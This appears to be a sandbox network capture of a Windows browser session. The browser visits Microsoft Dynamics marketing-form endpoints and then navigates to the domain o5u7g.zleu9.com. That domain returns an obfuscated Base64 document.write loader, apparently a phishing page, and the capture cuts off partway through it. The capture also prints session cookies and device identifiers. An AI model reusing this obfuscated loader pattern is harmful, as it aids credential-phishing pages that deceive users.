10	192.168.2.5	49723	52.146.76.30	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:23 UTC	605	OUT	OPTIONS /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288/visits HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://assets-usa.mkt.dynamics.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:23 UTC	383	IN	HTTP/1.1 204 No Content Server: nginx Date: Tue, 23 Apr 2024 19:53:23 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: GET,POST Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: ff139d2b059cbebcd08994b22b8b888c Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49724	13.107.246.41	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:23 UTC	444	OUT	GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:24 UTC	609	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:24 GMT Content-Type: text/html Content-Length: 29039 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=900, must-revalidate x-ms-trace-id: 7643ff0221491cbf12566740efdf80c0 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240423T195324Z-16f56cb894fbfb7s01cn307u5w000000011g00000000k7ck x-fd-int-roxy-purgeid: 69077000 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-23 19:53:24 UTC	15775	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 72 6b 65 74 69 6e 67 20 46 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 Data Ascii: <!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Marketing Form</title> <meta name="referrer" cont
2024-04-23 19:53:24 UTC	13264	IN	Data Raw: 67 69 6e 2d 74 6f 70 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 74 77 6f 6f 70 74 69 6f 6e 5f 63 68 65 63 6b 62 6f 78 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 70 74 69 6f 6e 53 65 74 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6d 75 6c 74 69 4f 70 74 69 6f 6e 53 65 74 46 6f 72 6d 46 69 65 6c 64 42 Data Ascii: gin-top: 16px; } .twoOptionFormFieldBlock div.radiobuttons > div, .twoOptionFormFieldBlock div.twooption_checkbox > div, .optionSetFormFieldBlock div.radiobuttons > div, .multiOptionSetFormFieldB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49725	52.146.76.30	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:23 UTC	715	OUT	POST /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288/visits HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Content-Length: 153 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://assets-usa.mkt.dynamics.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:23 UTC	153	OUT	Data Raw: 7b 22 70 61 67 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 34 64 66 35 32 37 63 38 2d 35 61 66 64 2d 65 65 31 31 2d 39 30 34 38 2d 30 30 30 64 33 61 31 30 36 38 32 64 2f 64 69 67 69 74 61 6c 61 73 73 65 74 73 2f 73 74 61 6e 64 61 6c 6f 6e 65 66 6f 72 6d 73 2f 38 34 35 66 62 64 33 64 2d 61 34 30 31 2d 65 66 31 31 2d 61 31 66 64 2d 37 63 31 65 35 32 31 63 30 32 38 38 22 7d Data Ascii: {"pageUrl":"https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288"}
2024-04-23 19:53:24 UTC	366	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 19:53:24 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: 775e0485d423f74193a8d65e0af30deb Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff
2024-04-23 19:53:24 UTC	54	IN	Data Raw: 32 62 0d 0a 7b 22 69 6e 74 65 72 61 63 74 69 6f 6e 53 74 61 74 75 73 22 3a 30 2c 22 65 72 72 6f 72 4d 65 73 73 61 67 65 22 3a 6e 75 6c 6c 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2b{"interactionStatus":0,"errorMessage":null}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49726	13.107.246.41	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:24 UTC	467	OUT	GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ecdd-c500-ef11-a1fd-7c1e521c0288?ts=638494003333783206 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:24 UTC	504	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:24 GMT Content-Type: image/png Content-Length: 28014 Connection: close Access-Control-Allow-Origin: * x-ms-trace-id: 737acb61480135691e13bf47d808b042 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240423T195324Z-16f56cb894fsdl45k3m180w6b0000000017g000000007m5g Cache-Control: public, max-age=2592000 x-fd-int-roxy-purgeid: 69077000 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-23 19:53:24 UTC	15880	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 96 00 00 04 54 08 06 00 00 00 24 b7 99 cc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 6c 85 49 44 41 54 78 da ec fd 77 9c 5d f5 9d e7 eb 7e 57 55 49 95 95 08 22 49 48 42 80 a8 22 2b 90 85 10 92 40 e4 0c 26 e3 b6 dd ed 80 8d 7d 66 a6 fb 75 ce b9 77 b8 67 d2 99 99 ee 76 bb a3 db 36 39 1b 10 41 e4 8c 22 39 e7 9c 83 85 04 ca 2a a9 6a af fb 07 c1 48 a8 4a 7b af 4a 3b 3c cf 6b 7a 40 52 a9 54 f5 d9 3f a0 d6 db 6b ef 4a 02 00 00 7a c0 98 1f 4d 1b dc 5e dd 31 36 92 68 cd 25 69 4b 44 b4 26 91 b6 e4 a2 66 e6 87 ff 72 Data Ascii: PNGIHDRT$gAMAa cHRMz&u0`:pQ<bKGDlIDATxw]~WUI"IHB"+@&}fuwgv69A"9*jHJ{J;<kz@RT?kJzM^16h%iKD&fr
2024-04-23 19:53:24 UTC	12134	IN	Data Raw: c4 02 ec b4 d5 a8 98 b9 c7 64 43 00 00 00 df 21 2c 41 11 49 92 24 7e ea b5 95 36 e9 92 02 5f b4 7b 43 57 cc bf d5 88 05 ba e0 b0 b3 dd b5 04 00 00 7c 87 b0 04 45 e4 f0 dd 0e 8c 9d b7 1e 6d 88 2e 3c f7 fe 6b f1 cc 7b af 74 eb 7d 3c f2 c6 b3 f1 ca c7 6f 1b b3 00 3b 6e b5 7d 1c b5 d7 21 86 00 00 00 d6 23 2c 41 91 48 92 24 7e 3c f5 34 43 6c c2 45 73 6e ec 91 f7 73 d5 82 db 8c 59 a0 5f 1e 7e 4e d4 54 55 1b 02 00 00 f8 86 b0 04 45 62 7a eb 7e b1 db 76 3b 1a a2 0b 7f 5a b6 24 ee 78 76 4e 8f bc af 59 4f dc 1b 2b d6 ac 32 6a 01 46 6f b1 6d 1c bd b7 bb 96 00 00 80 3f 13 96 a0 48 78 6d a5 4d bb 72 c1 ec 58 d7 43 df d1 6d 65 db ea 98 f5 c4 7d 46 2d d0 2f 0e 3b cb 5d 4b 00 00 c0 37 84 25 28 02 53 5b f6 89 dd 47 ec 6c 88 2e ac 6d 5f 17 57 3f 72 7b 8f be cf cb e7 df 12 Data Ascii: dC!,AI$~6_{CW\|Em.<k{t}<o;n}!#,AH$~<4ClEsnsY_~NTUEbz~v;Z$xvNYO+2jFom?HxmMrXCme}F-/;]K7%(S[Gl.m_W?r{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49727	52.146.76.30	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:24 UTC	468	OUT	GET /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288/visits HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:24 UTC	218	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Tue, 23 Apr 2024 19:53:24 GMT Content-Length: 0 Connection: close x-ms-trace-id: 16a973ba10837465f1b2d0a16aa27262 Strict-Transport-Security: max-age=2592000; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49733	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:32 UTC	2148	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1713901980022&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2024-04-23 19:53:32 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-04-23 19:53:32 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-04-23 19:53:32 UTC	479	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: AC0E343D1031412BA66374AC60BCB48F Ref B: LAX311000109005 Ref C: 2024-04-23T19:53:32Z Date: Tue, 23 Apr 2024 19:53:32 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.57ed0117.1713902012.813e7b1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49736	52.146.76.30	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:37 UTC	598	OUT	OPTIONS /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://assets-usa.mkt.dynamics.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:37 UTC	383	IN	HTTP/1.1 204 No Content Server: nginx Date: Tue, 23 Apr 2024 19:53:37 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: GET,POST Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: b7097a681b01fe9d22e1fb2880f0d61c Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49737	52.146.76.30	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:38 UTC	708	OUT	POST /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Content-Length: 174 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://assets-usa.mkt.dynamics.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:38 UTC	174	OUT	Data Raw: 7b 22 70 75 62 6c 69 73 68 65 64 46 6f 72 6d 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 34 64 66 35 32 37 63 38 2d 35 61 66 64 2d 65 65 31 31 2d 39 30 34 38 2d 30 30 30 64 33 61 31 30 36 38 32 64 2f 64 69 67 69 74 61 6c 61 73 73 65 74 73 2f 73 74 61 6e 64 61 6c 6f 6e 65 66 6f 72 6d 73 2f 38 34 35 66 62 64 33 64 2d 61 34 30 31 2d 65 66 31 31 2d 61 31 66 64 2d 37 63 31 65 35 32 31 63 30 32 38 38 22 2c 22 66 69 65 6c 64 73 22 3a 5b 5d 7d Data Ascii: {"publishedFormUrl":"https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288","fields":[]}
2024-04-23 19:53:38 UTC	366	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Apr 2024 19:53:38 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: b3d8b7efd2bce53276d94d1917bffbd0 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff
2024-04-23 19:53:38 UTC	53	IN	Data Raw: 32 61 0d 0a 7b 22 73 75 62 6d 69 73 73 69 6f 6e 53 74 61 74 75 73 22 3a 30 2c 22 65 72 72 6f 72 4d 65 73 73 61 67 65 22 3a 6e 75 6c 6c 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2a{"submissionStatus":0,"errorMessage":null}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49740	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:38 UTC	671	OUT	GET /O5u7Gw/ HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:39 UTC	1005	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ni3yHMVLi2cbLrnseiznebe%2F5DmhME70yr0L6R%2BIonirCQV3RGFtgJp55QOMu4OCY3WhmdsF3F8S0APFBRXyUPbX%2B61a3biNV51cqu28oBIKu7axVCLYLtuMY1eeEw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IkJwS0o3dW9oY040VFdqODZlRjhYcHc9PSIsInZhbHVlIjoiMmFUMkVlZGRsdk9kQnFQTW1vQ3VMcnc1WHUxU1RrZ3JBMUFpS1BWdXUwYlZ6K3oxZ1dIUTNTZFNJZWc3ODJ0THJ5OGJIS1E4Z2tGNmRLNS93NmFuWkFLSElKTk40Q1BmaWNRQjVQdHdhZ21PcndJOVVodTM2STlNMDIremJFK3UiLCJtYWMiOiIxNTk1YTExOTc0MGE2ZTcxZDc1Y2IxNTc3OWJjNzMxN2U4N2IyMzI5MWVkYmExMGRmMzBlMzg2NTkyYmYzYzc5IiwidGFnIjoiIn0%3D; expires=Tue, 23-Apr-2024 21:53:39 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-23 19:53:39 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 6c 56 62 44 4e 33 52 45 51 79 59 57 39 7a 4e 6d 63 7a 51 30 70 71 52 46 6c 49 63 55 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 55 6e 59 32 65 58 42 78 4e 55 39 4c 55 56 55 35 4f 55 4d 30 54 31 6c 57 53 6c 6c 4d 59 6c 42 59 54 31 52 35 57 6e 68 72 4f 45 55 33 63 32 46 43 5a 48 4e 7a 51 6a 64 43 65 45 4e 4e 4e 33 52 69 57 54 68 6a 62 6c 68 53 55 58 46 5a 4f 48 5a 6d 53 57 56 77 57 6a 5a 75 51 30 56 50 5a 30 5a 51 51 7a 64 32 54 33 42 42 61 6d 56 79 54 58 5a 4c 61 30 68 32 53 54 6c 68 52 48 56 54 65 6c 56 53 4d 57 64 77 63 46 42 44 62 54 56 6b 59 30 39 42 55 58 6c 49 65 6e 64 33 54 32 73 77 4e 6d 46 74 4b 7a 55 34 4d 57 74 6e 4f 57 34 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjlVbDN3REQyYW9zNmczQ0pqRFlIcUE9PSIsInZhbHVlIjoiUnY2eXBxNU9LUVU5OUM0T1lWSllMYlBYT1R5WnhrOEU3c2FCZHNzQjdCeENNN3RiWThjblhSUXFZOHZmSWVwWjZuQ0VPZ0ZQQzd2T3BBamVyTXZLa0h2STlhRHVTelVSMWdwcFBDbTVkY09BUXlIend3T2swNmFtKzU4MWtnOW4
2024-04-23 19:53:39 UTC	1369	IN	Data Raw: 31 37 63 61 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a 35 4c 54 4d 75 4e 69 34 77 4c 6d 31 70 62 69 35 71 63 79 49 2b 50 43 39 7a 59 33 4a 70 63 48 51 2b 44 51 6f 67 49 43 41 67 50 48 4e 6a 63 6d 6c 77 64 43 42 7a 63 6d 4d 39 49 6d 68 30 64 48 42 7a 4f 69 38 76 59 32 68 68 62 47 Data Ascii: 17ca<script>document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbG
